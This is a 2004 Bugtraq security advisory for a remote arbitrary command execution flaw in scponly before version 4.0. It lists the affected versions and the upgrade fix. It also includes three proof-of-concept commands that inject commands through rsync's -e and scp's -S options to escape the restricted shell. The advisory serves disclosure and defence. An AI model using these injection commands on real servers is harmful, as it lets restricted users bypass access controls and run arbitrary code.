BID:11791

SCPOnly Remote Arbitrary Command Execution Vulnerability

Info

SCPOnly Remote Arbitrary Command Execution Vulnerability

Bugtraq ID:	11791
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Dec 02 2004 12:00AM
Updated:	Dec 02 2004 12:00AM
Credit:	Discovery is credited to Jason Wies <[email protected]>.
Vulnerable:	scponly scponly 3.11 scponly scponly 3.9 scponly scponly 3.8 scponly scponly 3.5 scponly scponly 3.0 scponly scponly 2.4 scponly scponly 2.3 scponly scponly 2.1 scponly scponly 2.0 Gentoo Linux

Not Vulnerable:	scponly scponly 4.0

Discussion

SCPOnly Remote Arbitrary Command Execution Vulnerability

scponly is reported prone to a remote arbitrary command execution vulnerability. This issue may allow a remote attacker to execute commands and scripts on a vulnerable computer and eventually allow an attacker to gain elevated privileges on a vulnerable computer.

Versions prior to 4.0 are reported susceptible to this issue.

Exploit / POC

SCPOnly Remote Arbitrary Command Execution Vulnerability

The following proof of concept examples are available:

ssh restricteduser@remotehost 'rsync -e "touch /tmp/example --" localhost:/dev/null /tmp'

scp command.sh restricteduser@remotehost:/tmp/command.sh

ssh restricteduser@remotehost 'scp -S /tmp/command.sh localhost:/dev/null /tmp'

Solution / Fix

SCPOnly Remote Arbitrary Command Execution Vulnerability

Solution:
The vendor has released version 4.0 of scponly to address this issue.

Gentoo Linux has released advisory GLSA 200412-01 to address this issue. Users of affected packages are urged to execute the following commands with superuser privileges:
emerge --sync
emerge --ask --oneshot --verbose ">=net-misc/scponly-4.0"
Please see the referenced advisory for further information.

scponly scponly 2.0